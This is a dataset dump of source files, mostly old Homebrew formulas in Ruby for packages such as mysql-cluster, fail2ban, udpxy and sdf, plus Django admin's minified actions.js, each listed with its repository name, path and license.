code_text
stringlengths
604
999k
repo_name
stringlengths
4
100
file_path
stringlengths
4
873
language
stringclasses
23 values
license
stringclasses
15 values
size
int32
1.02k
999k
class Namazu < Formula desc "Full-text search engine" homepage "http://www.namazu.org/" url "http://www.namazu.org/stable/namazu-2.0.21.tar.gz" sha256 "5c18afb679db07084a05aca8dffcfb5329173d99db8d07ff6d90b57c333c71f7" bottle do sha1 "b0c14a4f80b058708f11adb5219a7070ec668a1b" => :mavericks sha1 "19f63fa3a25ca2c8e323cf9f4fcb7e095495b51d" => :mountain_lion sha1 "2fec30bccc201125f27c657a7c8f7248bd65d155" => :lion end option "with-japanese", "Support for japanese character encodings." depends_on "kakasi" if build.with? "japanese" resource "text-kakasi" do url "http://search.cpan.org/CPAN/authors/id/D/DA/DANKOGAI/Text-Kakasi-2.04.tar.gz" mirror "http://search.mcpan.org/CPAN/authors/id/D/DA/DANKOGAI/Text-Kakasi-2.04.tar.gz" sha256 "844c01e78ba4bfb89c0702995a86f488de7c29b40a75e7af0e4f39d55624dba0" end def install if build.with? "japanese" resource("text-kakasi").stage do system "perl", "Makefile.PL", "INSTALL_BASE=#{libexec}" system "make", "install" end end cd "File-MMagic" do system "perl", "Makefile.PL", "INSTALL_BASE=#{libexec}" system "make", "install" end args = ["--disable-dependency-tracking", "--prefix=#{prefix}", "--mandir=#{man}", "--with-pmdir=#{libexec}/lib/perl5"] system "./configure", *args system "make", "install" end test do data_file = testpath/"data.txt" data_file.write "This is a Namazu test case for Homebrew." mkpath "idx" system bin/"mknmz", "-O", "idx", data_file search_result = `#{bin}/namazu -a Homebrew idx` assert search_result.include?(data_file) assert_equal 0, $?.exitstatus end end
nathancahill/homebrew
Library/Formula/namazu.rb
Ruby
bsd-2-clause
1,720
class MysqlCluster < Formula desc "Shared-nothing clustering and auto-sharding for MySQL" homepage "https://www.mysql.com/products/cluster/" url "https://dev.mysql.com/get/Downloads/MySQL-Cluster-7.3/mysql-cluster-gpl-7.3.8.tar.gz" sha256 "eddcc2954ff7fbbc72b1266bd64a9548e9b9d7a4115d42b54c13257c226248ca" bottle do sha1 "0f03e0282102b1635d3c1567f2046c0b67bd4b1a" => :mavericks sha1 "694d4b6cf56ae7ac7e35315bfe6d20d3d0d1f9fd" => :mountain_lion end # Fix me: if you can get this to build on Yosemite, send a pull request! depends_on MaximumMacOSRequirement => :mavericks depends_on :java => "1.7+" depends_on "cmake" => :build depends_on "pidof" unless MacOS.version >= :mountain_lion option :universal option "with-tests", "Build with unit tests" option "with-embedded", "Build the embedded server" option "with-libedit", "Compile with editline wrapper instead of readline" option "with-archive-storage-engine", "Compile with the ARCHIVE storage engine enabled" option "with-blackhole-storage-engine", "Compile with the BLACKHOLE storage engine enabled" option "enable-local-infile", "Build with local infile loading support" option "enable-debug", "Build with debug support" conflicts_with "memcached", :because => "both install `bin/memcached`" conflicts_with "mysql", "mariadb", "percona-server", :because => "mysql, mariadb, and percona install the same binaries." fails_with :clang do build 500 cause "http://article.gmane.org/gmane.comp.db.mysql.cluster/2085" end def install # Build without compiler or CPU specific optimization flags to facilitate # compilation of gems and other software that queries `mysql-config`. ENV.minimal_optimization # Make sure the var/mysql-cluster directory exists (var+"mysql-cluster").mkpath args = [".", "-DCMAKE_INSTALL_PREFIX=#{prefix}", "-DMYSQL_DATADIR=#{var}/mysql-cluster", "-DINSTALL_MANDIR=#{man}", "-DINSTALL_DOCDIR=#{doc}", "-DINSTALL_INFODIR=#{info}", # CMake prepends prefix, so use share.basename "-DINSTALL_MYSQLSHAREDIR=#{share.basename}/mysql", "-DWITH_SSL=yes", "-DDEFAULT_CHARSET=utf8", "-DDEFAULT_COLLATION=utf8_general_ci", "-DSYSCONFDIR=#{etc}"] # To enable unit testing at build, we need to download the unit testing suite if build.with? "tests" args << "-DENABLE_DOWNLOADS=ON" else args << "-DWITH_UNIT_TESTS=OFF" end # Build the embedded server args << "-DWITH_EMBEDDED_SERVER=ON" if build.with? "embedded" # Compile with readline unless libedit is explicitly chosen args << "-DWITH_READLINE=yes" if build.without? "libedit" # Compile with ARCHIVE engine enabled if chosen args << "-DWITH_ARCHIVE_STORAGE_ENGINE=1" if build.with? "archive-storage-engine" # Compile with BLACKHOLE engine enabled if chosen args << "-DWITH_BLACKHOLE_STORAGE_ENGINE=1" if build.with? "blackhole-storage-engine" # Make universal for binding to universal applications if build.universal? ENV.universal_binary args << "-DCMAKE_OSX_ARCHITECTURES=#{Hardware::CPU.universal_archs.as_cmake_arch_flags}" end # Build with local infile loading support args << "-DENABLED_LOCAL_INFILE=1" if build.include? "enable-local-infile" # Build with debug support args << "-DWITH_DEBUG=1" if build.include? "enable-debug" system "cmake", *args system "make" system "make", "install" # Create default directories and configuration files (var+"mysql-cluster/ndb_data").mkpath (var+"mysql-cluster/mysqld_data").mkpath (var+"mysql-cluster/conf").mkpath (var+"mysql-cluster/conf/my.cnf").write my_cnf unless File.exist? var+"mysql-cluster/conf/my.cnf" (var+"mysql-cluster/conf/config.ini").write config_ini unless File.exist? var+"mysql-cluster/conf/config.ini" plist_path("ndb_mgmd").write ndb_mgmd_startup_plist("ndb_mgmd") plist_path("ndb_mgmd").chmod 0644 plist_path("ndbd").write ndbd_startup_plist("ndbd") plist_path("ndbd").chmod 0644 plist_path("mysqld").write mysqld_startup_plist("mysqld") plist_path("mysqld").chmod 0644 # Don"t create databases inside of the prefix! # See: https://github.com/Homebrew/homebrew/issues/4975 rm_rf prefix+"data" # Link the setup script into bin bin.install_symlink prefix/"scripts/mysql_install_db" # Fix up the control script and link into bin inreplace "#{prefix}/support-files/mysql.server" do |s| s.gsub!(/^(PATH=".*)(")/, "\\1:#{HOMEBREW_PREFIX}/bin\\2") # pidof can be replaced with pgrep from proctools on Mountain Lion s.gsub!(/pidof/, "pgrep") if MacOS.version >= :mountain_lion end bin.install_symlink prefix/"support-files/mysql.server" # Move mysqlaccess to libexec libexec.mkpath libexec.install "#{bin}/mysqlaccess", "#{bin}/mysqlaccess.conf", "#{bin}/mcc_config.py" end def caveats; <<-EOS.undent To get started with MySQL Cluster, read MySQL Cluster Quick Start at http://dev.mysql.com/downloads/cluster/ Default configuration files have been created inside: #{var}/mysql-cluster Note that in a production system there are other parameters that you would set to tune the configuration. Set up databases to run AS YOUR USER ACCOUNT with: unset TMPDIR mysql_install_db --verbose --user=`whoami` --basedir="#{opt_prefix}" --datadir=#{var}/mysql-cluster/mysqld_data --tmpdir=/tmp For a first cluster, you may start with a single MySQL Server (mysqld), a pair of Data Nodes (ndbd) and a single management node (ndb_mgmd): ndb_mgmd -f #{var}/mysql-cluster/conf/config.ini --initial --configdir=#{var}/mysql-cluster/conf/ ndbd -c localhost:1186 ndbd -c localhost:1186 mysqld --defaults-file=/usr/local/var/mysql-cluster/conf/my.cnf & mysql -h 127.0.0.1 -P 5000 -u root -p (Leave the password empty and press Enter) create database clusterdb; use clusterdb; create table simples (id int not null primary key) engine=ndb; insert into simples values (1),(2),(3),(4); select * from simples; To shutdown everything: mysqladmin -u root -p shutdown ndb_mgm -e shutdown EOS end def my_cnf; <<-EOCNF.undent [mysqld] ndbcluster datadir=#{var}/mysql-cluster/mysqld_data basedir=#{prefix} port=5000 EOCNF end def config_ini; <<-EOCNF.undent [ndb_mgmd] hostname=localhost datadir=#{var}/mysql-cluster/ndb_data NodeId=1 [ndbd default] noofreplicas=2 datadir=#{var}/mysql-cluster/ndb_data [ndbd] hostname=localhost NodeId=3 [ndbd] hostname=localhost NodeId=4 [mysqld] NodeId=50 EOCNF end # Override Formula#plist_name def plist_name(extra = nil) (extra) ? super()+"-"+extra : super()+"-ndb_mgmd" end # Override Formula#plist_path def plist_path(extra = nil) (extra) ? super().dirname+(plist_name(extra)+".plist") : super() end def mysqld_startup_plist(name); <<-EOS.undent <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>KeepAlive</key> <true/> <key>Label</key> <string>#{plist_name(name)}</string> <key>ProgramArguments</key> <array> <string>#{HOMEBREW_PREFIX}/bin/mysqld</string> <string>--defaults-file=#{var}/mysql-cluster/conf/my.cnf</string> </array> <key>RunAtLoad</key> <true/> <key>WorkingDirectory</key> <string>#{var}</string> </dict> </plist> EOS end def ndb_mgmd_startup_plist(name); <<-EOS.undent <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>KeepAlive</key> <true/> <key>Label</key> <string>#{plist_name(name)}</string> <key>ProgramArguments</key> <array> <string>#{HOMEBREW_PREFIX}/bin/ndb_mgmd</string> <string>--nodaemon</string> <string>-f</string> <string>#{var}/mysql-cluster/conf/config.ini</string> <string>--initial</string> <string>--configdir=#{var}/mysql-cluster/conf/</string> </array> <key>RunAtLoad</key> <true/> <key>WorkingDirectory</key> <string>#{var}</string> <key>StandardOutPath</key> <string>#{var}/mysql-cluster/#{name}.log</string> </dict> </plist> EOS end def ndbd_startup_plist(name); <<-EOS.undent <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>KeepAlive</key> <true/> <key>Label</key> <string>#{plist_name(name)}</string> <key>ProgramArguments</key> <array> <string>#{HOMEBREW_PREFIX}/bin/ndbd</string> <string>--nodaemon</string> <string>-c</string> <string>localhost:1186</string> </array> <key>RunAtLoad</key> <true/> <key>WorkingDirectory</key> <string>#{var}</string> <key>StandardOutPath</key> <string>#{var}/mysql-cluster/#{name}.log</string> </dict> </plist> EOS end end
danielmewes/homebrew
Library/Formula/mysql-cluster.rb
Ruby
bsd-2-clause
9,561
require 'formula' class Libxspf < Formula desc "C++ library for XSPF playlist reading and writing" homepage 'http://libspiff.sourceforge.net/' url 'http://downloads.xiph.org/releases/xspf/libxspf-1.2.0.tar.bz2' sha1 '23bbc0573636928210f42699029941dd06b20a1d' bottle do cellar :any revision 1 sha1 "ab194a0906d4f987bbd61b29d4f9de7c8698e2f5" => :yosemite sha1 "56c55987e4c83926e160de92b6c929be9b28dcf7" => :mavericks sha1 "341ddf653ddcc41d7b24e47299202ea284bf8721" => :mountain_lion end depends_on 'pkg-config' => :build depends_on 'cpptest' depends_on 'uriparser' # Fix build against clang and GCC 4.7+ # http://git.xiph.org/?p=libxspf.git;a=commit;h=7f1f68d433f03484b572657ff5df47bba1b03ba6 patch :DATA def install system "./configure", "--disable-debug", "--disable-dependency-tracking", "--prefix=#{prefix}" system "make install" end end __END__ diff --git a/examples/read/read.cpp b/examples/read/read.cpp index 411f892..b66a25c 100644 --- a/examples/read/read.cpp +++ b/examples/read/read.cpp @@ -43,6 +43,7 @@ #include <cstdio> #include <cstdlib> // MAX_PATH #include <climits> // PATH_MAX +#include <unistd.h> #if defined(__WIN32__) || defined(WIN32)
ldiqual/homebrew
Library/Formula/libxspf.rb
Ruby
bsd-2-clause
1,253
class Optipng < Formula desc "PNG file optimizer" homepage "http://optipng.sourceforge.net/" head "http://hg.code.sf.net/p/optipng/mercurial", :using => :hg url "https://downloads.sourceforge.net/project/optipng/OptiPNG/optipng-0.7.5/optipng-0.7.5.tar.gz" sha1 "30b6c333d74fc0f5dc83004aace252fa3321368b" # Fix compilation on 10.10 # http://sourceforge.net/p/optipng/bugs/47/ patch :DATA def install system "./configure", "--with-system-zlib", "--prefix=#{prefix}", "--mandir=#{man}" system "make", "install" end test do system "#{bin}/optipng", "-simulate", test_fixtures("test.png") end end __END__ diff --git a/src/optipng/osys.c b/src/optipng/osys.c index d816ef7..610250b 100644 --- a/src/optipng/osys.c +++ b/src/optipng/osys.c @@ -518,7 +518,7 @@ osys_copy_attr(const char *src_path, const char *dest_path) if (chmod(dest_path, sbuf.st_mode) != 0) result = -1; -#ifdef AT_FDCWD +#if defined(AT_FDCWD) && !defined(__APPLE__) && !defined(__SVR4) && !defined(__sun) { struct timespec times[2];
jehutymax/homebrew
Library/Formula/optipng.rb
Ruby
bsd-2-clause
1,121
require 'formula' class Gcab < Formula desc "Windows installer (.MSI) tool" homepage 'https://wiki.gnome.org/msitools' url 'http://ftp.gnome.org/pub/GNOME/sources/gcab/0.4/gcab-0.4.tar.xz' sha1 'd81dfe35125e611e3a94c0d4def37ebf62b9187c' depends_on 'intltool' => :build depends_on 'pkg-config' => :build depends_on 'vala' => :build depends_on 'gettext' depends_on 'glib' depends_on 'gobject-introspection' # work around ld not understanding --version-script argument # upstream bug: https://bugzilla.gnome.org/show_bug.cgi?id=708257 patch :DATA def install system "./configure", "--disable-debug", "--prefix=#{prefix}" system "make", "install" end end __END__ diff --git a/Makefile.in b/Makefile.in index 2264c17..7782d62 100644 --- a/Makefile.in +++ b/Makefile.in @@ -474,7 +474,7 @@ libgcab_1_0_la_CPPFLAGS = \ libgcab_1_0_la_LIBADD = -lz $(GLIB_LIBS) libgcab_1_0_la_LDFLAGS = \ -version-info 0:0:0 \ - -Wl,--version-script=${srcdir}/libgcab.syms \ + -Wl \ -no-undefined \ $(NULL)
shsingh/homebrew
Library/Formula/gcab.rb
Ruby
bsd-2-clause
1,104
require "formula" class Udpxy < Formula desc "UDP-to-HTTP multicast traffic relay daemon" homepage "http://www.udpxy.com/" url "http://www.udpxy.com/download/1_23/udpxy.1.0.23-9-prod.tar.gz" sha1 "4194fc98d51284da48d07c44bbc5bdfa4813a4b8" version "1.0.23-9" bottle do sha1 "77d4bee071a84cbf4be6505b41a25cad4ac2c5ce" => :mavericks sha1 "7c1859700e919715bf07663bd61564b5cc4b040d" => :mountain_lion sha1 "7f2dfa95dcf0f437c1ddc0197b1fa1599281c68b" => :lion end # Fix gzip path in Makefile for uname Darwin, this is needed to fix the install task # http://sourceforge.net/p/udpxy/patches/4/ patch :DATA def install system "make" system "make", "install", "DESTDIR=#{prefix}", "PREFIX=''" end plist_options :manual => "udpxy -p 4022" def plist; <<-EOS.undent <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>KeepAlive</key> <true/> <key>Label</key> <string>#{plist_name}</string> <key>ProgramArguments</key> <array> <string>#{opt_bin}/udpxy</string> <string>-p</string> <string>4022</string> </array> <key>RunAtLoad</key> <true/> <key>WorkingDirectory</key> <string>#{HOMEBREW_PREFIX}</string> </dict> </plist> EOS end end __END__ --- a/Makefile 2014-07-31 18:40:40.000000000 +0200 +++ b/Makefile 2014-07-31 18:41:05.000000000 +0200 @@ -32,7 +32,9 @@ ALL_FLAGS = -W -Wall -Werror --pedantic $(CFLAGS) SYSTEM=$(shell uname 2>/dev/null) -ifeq ($(SYSTEM), FreeBSD) +ifeq ($(SYSTEM), Darwin) +GZIP := /usr/bin/gzip +else ifeq ($(SYSTEM), FreeBSD) MAKE := gmake GZIP := /usr/bin/gzip endif
samplecount/homebrew
Library/Formula/udpxy.rb
Ruby
bsd-2-clause
1,787
require "formula" class Fail2ban < Formula desc "Scan log files and ban IPs showing malicious signs" homepage "http://www.fail2ban.org/" url "https://github.com/fail2ban/fail2ban/archive/0.8.14.tar.gz" sha1 "fb104335acf9d71552a4a1cec06fac1187846867" bottle do sha1 "ab90e39f9669b929dd4ec43b9f736a1ab1cac652" => :mavericks sha1 "3b2c563f7316ed9c485744e24ec6abc3bb242040" => :mountain_lion sha1 "0c91986b55c0d35497ef0d4c42d992c9958c577e" => :lion end def install rm "setup.cfg" inreplace "setup.py" do |s| s.gsub! /\/etc/, etc s.gsub! /\/var/, var end # Replace hardcoded paths inreplace "fail2ban-client", "/usr/share/fail2ban", libexec inreplace "fail2ban-server", "/usr/share/fail2ban", libexec inreplace "fail2ban-regex", "/usr/share/fail2ban", libexec inreplace "fail2ban-client", "/etc", etc inreplace "fail2ban-regex", "/etc", etc inreplace "fail2ban-server", "/var", var inreplace "config/fail2ban.conf", "/var/run", (var/"run") inreplace "setup.py", "/usr/share/doc/fail2ban", (libexec/"doc") system "python", "setup.py", "install", "--prefix=#{prefix}", "--install-lib=#{libexec}" end plist_options :startup => true def plist; <<-EOS.undent <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>#{plist_name}</string> <key>ProgramArguments</key> <array> <string>#{opt_bin}/fail2ban-client</string> <string>-x</string> <string>start</string> </array> <key>RunAtLoad</key> <true/> </dict> </plist> EOS end def caveats <<-EOS.undent Before using Fail2Ban for the first time you should edit jail configuration and enable the jails that you want to use, for instance ssh-ipfw. Also make sure that they point to the correct configuration path. I.e. on Mountain Lion the sshd logfile should point to /var/log/system.log. * #{etc}/fail2ban/jail.conf The Fail2Ban wiki has two pages with instructions for MacOS X Server that describes how to set up the Jails for the standard MacOS X Server services for the respective releases. 10.4: http://www.fail2ban.org/wiki/index.php/HOWTO_Mac_OS_X_Server_(10.4) 10.5: http://www.fail2ban.org/wiki/index.php/HOWTO_Mac_OS_X_Server_(10.5) EOS end end
mokkun/homebrew
Library/Formula/fail2ban.rb
Ruby
bsd-2-clause
2,552
require 'formula' class Udns < Formula desc "DNS resolver library" homepage 'http://www.corpit.ru/mjt/udns.html' url 'http://www.corpit.ru/mjt/udns/udns-0.4.tar.gz' sha1 'ffa0abf9d1654feb64d571b2615d8b70e1dd92ce' # Build target for dylib. See: # http://www.corpit.ru/pipermail/udns/2011q3/000154.html patch :DATA def install system "./configure" system "make" system "make dylib" bin.install "dnsget", "rblcheck" doc.install "NOTES", "TODO", "ex-rdns.c" include.install "udns.h" lib.install "libudns.a", "libudns.0.dylib", "libudns.dylib" man1.install "dnsget.1", "rblcheck.1" man3.install "udns.3" end end __END__ --- udns-0.4.orig/Makefile.in 2014-01-23 02:45:31.000000000 -0800 +++ udns-0.4/Makefile.in 2014-08-16 20:22:00.000000000 -0700 @@ -42,6 +42,11 @@ SOLIBV = lib$(NAME).so.$(SOVER) SOLIBFL= -L. -l$(NAME)_s +DYLIB = lib$(NAME).dylib +DYLIBV = lib$(NAME).$(SOVER).dylib + +LIBS = $(LIB) $(SOLIBV) $(DYLIB) + UTILS = $(USRCS:.c=) UOBJS = $(USRCS:.c=.o) SOUTILS = $(USRCS:.c=_s) @@ -71,6 +76,14 @@ .c.o: $(CC) $(CFLAGS) $(CDEFS) -c $< +dylib: $(DYLIB) + +$(DYLIBV): $(SOBJS) + $(CC) -dynamiclib $(SOBJS) -o $(DYLIBV) +$(DYLIB): $(DYLIBV) + rm -rf $@ + ln -s $(DYLIBV) $@ + shared: $(SOLIBV) $(SOUTILS) sharedlib: $(SOLIBV)
vinicius5581/homebrew
Library/Formula/udns.rb
Ruby
bsd-2-clause
1,312
class Sdf < Formula desc "Syntax Definition Formalism: high-level description of grammars" homepage "http://strategoxt.org/Sdf/WebHome" url "http://www.meta-environment.org/releases/sdf-2.6.3.tar.gz" sha256 "181ae979118d75c6163f2acec8e455952f3033378a4518b0b829d26a96e10b3d" bottle do sha1 "86d9132aa6d0b168265486619986905f5e4d934e" => :mavericks sha1 "84b6e3fefe67faad2f0e6e4a407f9323a6eaf9d5" => :mountain_lion sha1 "8ff0e900e359df0e0fca16b686f87a201d10a5d2" => :lion end depends_on "pkg-config" => :build depends_on "aterm" fails_with :clang do build 425 cause <<-EOS.undent ParsedError.c:15434:611: fatal error: parser recursion limit reached, program too complex EOS end resource "c-library" do url "http://www.meta-environment.org/releases/c-library-1.2.tar.gz" sha256 "08fdec0faf3c941203ff3decaf518117f49f62a42b111bac39d88e62c453b066" end resource "toolbuslib" do url "http://www.meta-environment.org/releases/toolbuslib-1.1.tar.gz" sha256 "20f3d55b71b1e1ccf52b62e705a7dd7097ede764885d7ffd1030d27342069838" end resource "error-support" do url "http://www.meta-environment.org/releases/error-support-1.6.tar.gz" sha256 "634c0a1b5da8ef3b277d785d5df458dd7526da79aedd7d0537678204731dbc69" end resource "pt-support" do url "http://www.meta-environment.org/releases/pt-support-2.4.tar.gz" sha256 "85c8702cc96941f4190e01ceb6cf0ba61f8bc00cedd3776f01e6bc5c21847992" end resource "sdf-support" do url "http://www.meta-environment.org/releases/sdf-support-2.5.tar.gz" sha256 "40b324d4a20f31cc4e2393fb8009125a2307d10a2ba1017ac30fd5ed859e5f7d" end resource "asf-support" do url "http://www.meta-environment.org/releases/asf-support-1.8.tar.gz" sha256 "cc42fe4245b12f1ca8bcc69a36963dca4145ed6474279d89881ae0a65c7ec711" end resource "tide-support" do url "http://www.meta-environment.org/releases/tide-support-1.3.1.tar.gz" sha256 "4bd8228fee08f84332ab6d5e2cc7dae26ddcdf92c924d477864d48066306c81a" end resource "rstore-support" do url "http://www.meta-environment.org/releases/rstore-support-1.0.tar.gz" sha256 "86bc1fa5b83718255f5f7a40b83c62f73dbbf614cb21f05df551b57548c25039" end resource "config-support" do url "http://www.meta-environment.org/releases/config-support-1.4.tar.gz" sha256 "b1e6e696a4a3318c6cd688291dbb9b543d68f54196df71bca6530173f661904e" end resource "ptable-support" do url "http://www.meta-environment.org/releases/ptable-support-1.2.tar.gz" sha256 "c9d219a477392e8ee7b08c2e51195190fe5c4c195e5b2cb0c13bb91a750f1d2f" end resource "sglr" do url "http://www.meta-environment.org/releases/sglr-4.5.3.tar.gz" sha256 "e748695bb97c7954da0279a2ec8d871bd810b403002c3307e4229a2cc64c78cc" end resource "asc-support" do url "http://www.meta-environment.org/releases/asc-support-2.6.tar.gz" sha256 "acf5f93374d348e9aeba9590cb70392c199d2c031a6bb45d93d5f636911978eb" end resource "pgen" do url "http://www.meta-environment.org/releases/pgen-2.8.1.tar.gz" sha256 "8140d07d7512a7e963d16325427f8acaecc1dd12a23ef67593629cab6d36bd7c" end resource "pandora" do url "http://www.meta-environment.org/releases/pandora-1.6.tar.gz" sha256 "d62156efc4c2a921da9e1390423c72416f1d65e2ce0c97b9fbd372e51c2df28a" end def install ENV.j1 # build is not parallel-safe ENV.append "CFLAGS", "-std=gnu89 -fbracket-depth=1024" if ENV.compiler == :clang resource("c-library").stage do system "./configure", "--prefix=#{libexec}/c-library" system "make", "install" end resource("toolbuslib").stage do system "./configure", "--prefix=#{libexec}/toolbuslib" system "make", "install" end resource("error-support").stage do system "./configure", "--prefix=#{libexec}/error-support", "--with-toolbuslib=#{libexec}/toolbuslib" system "make", "install" end resource("pt-support").stage do system "./configure", "--prefix=#{libexec}/pt-support", "--with-toolbuslib=#{libexec}/toolbuslib", "--with-error-support=#{libexec}/error-support" system "make", "install" end resource("sdf-support").stage do system "./configure", "--prefix=#{libexec}/sdf-support", "--with-toolbuslib=#{libexec}/toolbuslib", "--with-error-support=#{libexec}/error-support", "--with-pt-support=#{libexec}/pt-support" system "make", "install" end resource("asf-support").stage do system "./configure", "--prefix=#{libexec}/asf-support", "--with-error-support=#{libexec}/error-support", "--with-pt-support=#{libexec}/pt-support" system "make", "install" end resource("tide-support").stage do system "./configure", "--prefix=#{libexec}/tide-support", "--with-toolbuslib=#{libexec}/toolbuslib" system "make", "install" end resource("rstore-support").stage do system "./configure", "--prefix=#{libexec}/rstore-support", "--with-toolbuslib=#{libexec}/toolbuslib" system "make", "install" end resource("config-support").stage do system "./configure", "--prefix=#{libexec}/config-support" system "make", "install" end resource("ptable-support").stage do system "./configure", "--prefix=#{libexec}/ptable-support", "--with-pt-support=#{libexec}/pt-support" system "make", "install" end resource("sglr").stage do system "./configure", "--prefix=#{libexec}/sglr", "--with-toolbuslib=#{libexec}/toolbuslib", "--with-error-support=#{libexec}/error-support", "--with-pt-support=#{libexec}/pt-support", "--with-ptable-support=#{libexec}/ptable-support", "--with-config-support=#{libexec}/config-support", "--with-c-library=#{libexec}/c-library" system "make", "install" end resource("asc-support").stage do system "./configure", "--prefix=#{libexec}/asc-support", "--with-toolbuslib=#{libexec}/toolbuslib", "--with-error-support=#{libexec}/error-support", "--with-pt-support=#{libexec}/pt-support", "--with-ptable-support=#{libexec}/ptable-support", "--with-config-support=#{libexec}/config-support", "--with-c-library=#{libexec}/c-library", "--with-tide-support=#{libexec}/tide-support", "--with-rstore-support=#{libexec}/rstore-support", "--with-asf-support=#{libexec}/asf-support", "--with-rstore-support=#{libexec}/rstore-support", "--with-sglr=#{libexec}/sglr" system "make", "install" end resource("pgen").stage do system "./configure", "--prefix=#{libexec}/pgen", "--with-toolbuslib=#{libexec}/toolbuslib", "--with-error-support=#{libexec}/error-support", "--with-pt-support=#{libexec}/pt-support", "--with-ptable-support=#{libexec}/ptable-support", "--with-config-support=#{libexec}/config-support", "--with-c-library=#{libexec}/c-library", "--with-sglr=#{libexec}/sglr", "--with-sdf-support=#{libexec}/sdf-support", "--with-asc-support=#{libexec}/asc-support" system "make", "install" end resource("pandora").stage do system "./configure", "--prefix=#{libexec}/pandora", "--with-toolbuslib=#{libexec}/toolbuslib", "--with-pt-support=#{libexec}/pt-support", "--with-asc-support=#{libexec}/asc-support" system "make", "install" end system "./configure", "--prefix=#{prefix}", "--with-sglr=#{libexec}/sglr", "--with-pgen=#{libexec}/pgen", "--with-pandora=#{libexec}/pandora" system "make", "install" end end
MrChen2015/homebrew
Library/Formula/sdf.rb
Ruby
bsd-2-clause
8,590
class Qtfaststart < Formula desc "Utility for Quicktime files" homepage "https://libav.org/" url "https://libav.org/releases/libav-11.2.tar.gz" sha256 "1f1448e1245444a1fae2f077f6846fedb47dfb294bef797e6742c095a6b4d769" bottle do cellar :any sha256 "2a489212e330d6286bc3cad6c8d03f5f29313c0d4e41dc84193c6f6efc8597b8" => :yosemite sha256 "3c4a8acf49e665b22b088246ec5b06c8e92077e0f7f64e3445a69e2a76742391" => :mavericks sha256 "e97d00bb8dac4155d6040e0d28be3134d7d64e0aced0503b255f0fd763efdca9" => :mountain_lion end resource "mov" do url "http://download.wavetlan.com/SVV/Media/HTTP/H264/Talkinghead_Media/H264_test4_Talkingheadclipped_mov_480x320.mov" sha256 "5af004e182ac7214dadf34816086d0a25c7a6cac568ae3741fca527cbbd242fc" end def install system ENV.cc, "-o", "tools/qt-faststart", "tools/qt-faststart.c" bin.install "tools/qt-faststart" end test do input = "H264_test4_Talkingheadclipped_mov_480x320.mov" output = "out.mov" resource("mov").stage testpath system "#{bin}/qt-faststart", input, output assert File.exist? output end end
feuvan/homebrew
Library/Formula/qtfaststart.rb
Ruby
bsd-2-clause
1,114
(function(a){a.fn.actions=function(n){var b=a.extend({},a.fn.actions.defaults,n),e=a(this),g=false,k=function(c){c?i():j();a(e).prop("checked",c).parent().parent().toggleClass(b.selectedClass,c)},f=function(){var c=a(e).filter(":checked").length;a(b.counterContainer).html(interpolate(ngettext("%(sel)s of %(cnt)s selected","%(sel)s of %(cnt)s selected",c),{sel:c,cnt:_actions_icnt},true));a(b.allToggle).prop("checked",function(){if(c==e.length){value=true;i()}else{value=false;l()}return value})},i= function(){a(b.acrossClears).hide();a(b.acrossQuestions).show();a(b.allContainer).hide()},m=function(){a(b.acrossClears).show();a(b.acrossQuestions).hide();a(b.actionContainer).toggleClass(b.selectedClass);a(b.allContainer).show();a(b.counterContainer).hide()},j=function(){a(b.acrossClears).hide();a(b.acrossQuestions).hide();a(b.allContainer).hide();a(b.counterContainer).show()},l=function(){j();a(b.acrossInput).val(0);a(b.actionContainer).removeClass(b.selectedClass)};a(b.counterContainer).show(); a(this).filter(":checked").each(function(){a(this).parent().parent().toggleClass(b.selectedClass);f();a(b.acrossInput).val()==1&&m()});a(b.allToggle).show().click(function(){k(a(this).prop("checked"));f()});a("div.actions span.question a").click(function(c){c.preventDefault();a(b.acrossInput).val(1);m()});a("div.actions span.clear a").click(function(c){c.preventDefault();a(b.allToggle).prop("checked",false);l();k(0);f()});lastChecked=null;a(e).click(function(c){if(!c)c=window.event;var d=c.target? c.target:c.srcElement;if(lastChecked&&a.data(lastChecked)!=a.data(d)&&c.shiftKey===true){var h=false;a(lastChecked).prop("checked",d.checked).parent().parent().toggleClass(b.selectedClass,d.checked);a(e).each(function(){if(a.data(this)==a.data(lastChecked)||a.data(this)==a.data(d))h=h?false:true;h&&a(this).prop("checked",d.checked).parent().parent().toggleClass(b.selectedClass,d.checked)})}a(d).parent().parent().toggleClass(b.selectedClass,d.checked);lastChecked=d;f()});a("form#changelist-form table#result_list tr").find("td:gt(0) :input").change(function(){g= true});a('form#changelist-form button[name="index"]').click(function(){if(g)return confirm(gettext("You have unsaved changes on individual editable fields. If you run an action, your unsaved changes will be lost."))});a('form#changelist-form input[name="_save"]').click(function(){var c=false;a("div.actions select option:selected").each(function(){if(a(this).val())c=true});if(c)return g?confirm(gettext("You have selected an action, but you haven't saved your changes to individual fields yet. Please click OK to save. You'll need to re-run the action.")): confirm(gettext("You have selected an action, and you haven't made any changes on individual fields. You're probably looking for the Go button rather than the Save button."))})};a.fn.actions.defaults={actionContainer:"div.actions",counterContainer:"span.action-counter",allContainer:"div.actions span.all",acrossInput:"div.actions input.select-across",acrossQuestions:"div.actions span.question",acrossClears:"div.actions span.clear",allToggle:"#action-toggle",selectedClass:"selected"}})(django.jQuery);
talishte/ctigre
env/lib/python2.7/site-packages/django/contrib/admin/static/admin/js/actions.min.js
JavaScript
bsd-2-clause
3,140
